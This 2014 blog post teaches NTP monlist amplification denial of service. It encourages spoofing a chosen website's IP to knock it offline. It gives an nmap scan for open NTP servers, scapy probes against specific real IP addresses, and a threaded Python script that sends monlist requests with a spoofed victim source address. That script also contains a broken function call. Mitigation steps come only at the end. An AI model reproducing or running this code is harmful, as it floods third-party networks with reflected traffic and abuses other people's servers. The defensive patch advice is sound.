Tuesday, August 26, 2014

Amplified Denial of Service with Network Time Protocol (NTP)

Really, i don't know if i should write it here, but I think it will help the Internet to become more secure.

In next lines, I will find some NTP servers that can be used for Amplified Denial of Service attack.

What does that mean, Amplification? You send couple of bytes, and get response of thousand bytes.
NTP Servers for example. You can request from one, last 600 clients that used that server. You send one request, and as response you get tons of info.

If you will spoof senders IP, response will be received by spoofed IP. So, when you do that many times, you will eat all bandwidth of your target with UDP responses. DoS.

For example, you want that website like www.hamasinfo.net will go down for some time... Get his IP, spoof it in NTP request and woala! The problem to do so, is to find unpatched NTP servers online.

Really? Use nmap.

Take your provider's IP-Range (for example. you can choose another range), and scan it for open UDP 123 port.
# nmap -p123 -sU -n -Pn --open -oG ntp-servers.txt <your_target/netmask>
Trust me, it will find a lot of NTP servers online. Next, you will need to check them if they support 'monlist' request

I don't know the technique of verification, but you can notice some difference in NTP server responses. Patched NTP server will return one small packet, another will return a lot of packets ~500bytes each one. 

Let's take two servers (maybe they will be offline when you try):
46.120.209.165 - Patched
46.120.212.96 - Unpached

Trying patched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.209.165')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=76 id=0 flags=DF frag=0L ttl=48 proto=udp chksum
=0x9ca6 src=46.120.209.165 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=489
47 len=56 chksum=0xc08f |<Raw  load='\x1c\x00\x04\xfa\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
xd7\xa6\x80~\x00\x00\x00\x00\xd7\xa6\x80~\x00\x00\x00\x00' |>>>
Trying unpatched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.212.96')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=468 id=41631 flags=DF frag=0L ttl=48 proto=udp ch
ksum=0xf5c3 src=46.120.212.96 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=4
8947 len=448 chksum=0xb60b |<Raw  load='\xd7\x00\x03*\x00\x06\x00H\x00\x00\x01\xd8\x
00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x00\x02To\xcaX\xc0\xa8\x01\x0f\x00\x00\x00\x0
1\xbf3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x08s\x18n\x16\xb7\xc0
\xa8\x01\x0f\x00\x00\x00\x01\x0c\x02\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\xb8i\x8
br\xd24\x07\x02\x00\n\xa8\xe5\x00\t\xd4~\x00\x00\x01\x80\x00\x00\x00\x02\xb8i\x8bT\x
84E\x06\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00!\xba\xd8Fsu\xc0\
xa8\x01\x0f\x00\x00\x00\x01\x01\xbb\x07\x02\x00\x00\x00\x00\x00\x00\x00\x02\xb8i\x8b
N\xb8\x02\x07\x02\x00\x01\xfcK\x00\x0cw\xfa\x00\x00\x01\x80\x00\x00\x00\t]\xb4\x05\x
1a\xb1\x19\x07\x02\x00\x00\x00\x00\x00\x00\x00\xcb\x00\x00\x01\x80\x00\x00\x04\xb6\x
b1F`n\xc0\xa8\x01\x0f\x00\x00\x00\x01\x15\xb3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
3\xb8i\x8bJ\x92\x8e\x07\x02\x00\x00\x00\x00\x00\x0e\xd2Y\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd8%\x9fc\x07\x02\x00\x00\x00\x00\x00\x00\x01q\x00\x00\x01\x80\x00\x01>\x0
e%;\xb8t\xc0\xa8\x01\x0f\x00\x00\x00\x01\xa6C\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
1\xd4\xa4G\x94\x93Q\x07\x00\x00\x00\x00\x00\x00\x15F\xe4\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd88\x83\x7f\x07\x02\x00\x00\x00\x00\x00\x00\x01\x7f\x00\x00\x01\x80\x00\x
00&\xa5JHW^\xc0\xa8\x01\x0f\x00\x00\x00\x01\x00P\x07\x02\x00\x00\x00\x00\x00\x00\x00
\x02\xb8i\x8bV\xbb\xc1\x07\x02\x00\x00\x00\x00\x00\x1a4<\x00\x00\x01\x80\x00\x00\x00
\x01^f1\xa8\x00{\x07\x02' |>>>

The difference that i will use - packet length. If response length is greater (let say) 150, then the server supports 'monlist' request.  If you know a better way of verification, let me know in comments...
#!/usr/bin/env python
import sys
from scapy.all import *
from time import sleep
from threading import Thread,enumerate
import random

try:

   data=str("\x17\x00\x03\x2a") + str("\x00")*4   #monlist request

   #shell argument parsing
   if '--victim' in sys.argv:
      target = sys.argv[sys.argv.index('--victim') + 1]
   else:
      target = conf.route.routes[-1][-1]   #find out your IP address

   if '-f' in sys.argv:
      inputfile = sys.argv[sys.argv.index('-f') + 1]
   else:
      inputfile = sys.argv[1]

   def ntp_check(ntpserver,target):
      try:
         a = sr1(IP(dst=str(ntpserver),src=target)/UDP(sport=random.randomint(1024,65535),dport=123)/str(data), timeout=0.5, verbose=0)
         if a[IP].len > 150:
            print '%s is VULNERABLE' % ntpserver
      except:
         return
      
   with open(inputfile) as srv_list:
      for ntpserver in srv_list.read().split():
         try:
            t = Thread(target=ntp_check, args=(ntpserver,target))
            t.start()
         except:
            pass
      t.join()
      while len(enumerate()) > 1:
         sleep(0.1)
         
except:
   print '\n\tUsage: %s -f srv_list.txt [--victim ]\n' % sys.argv[0]
   print sys.exc_info()
If you understand what i've coded, you can easily upgrade this code with multiprocessing module, using multiprocessing template.

For those who owns unpatched NTP Servers, there are at least three ways to patch it:
1. Update ntpd to version 4.2.7p26. In FreeBSD update ports and install ntpd from net/ntp-devel.
2. Disable monlist in ntp.conf, adding a line:
disable monitor
3. Or disable any status queries in restrict default:
restrict default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery

Maybe, you didn't know, that you server is accessible from outside :)

2 comments:

  1. Can you please enplane what is monlist ?

    ReplyDelete
  2. Sure: "Monlist is a remote command in older version of NTP that sends the requester a list of the last 600 hosts who have connected to that server. For attackers the monlist query is a great reconnaissance tool. For a localized NTP server it can help to build a network profile. However, as a DDoS tool, it is even better because a small query can redirect megabytes worth of traffic."

    ReplyDelete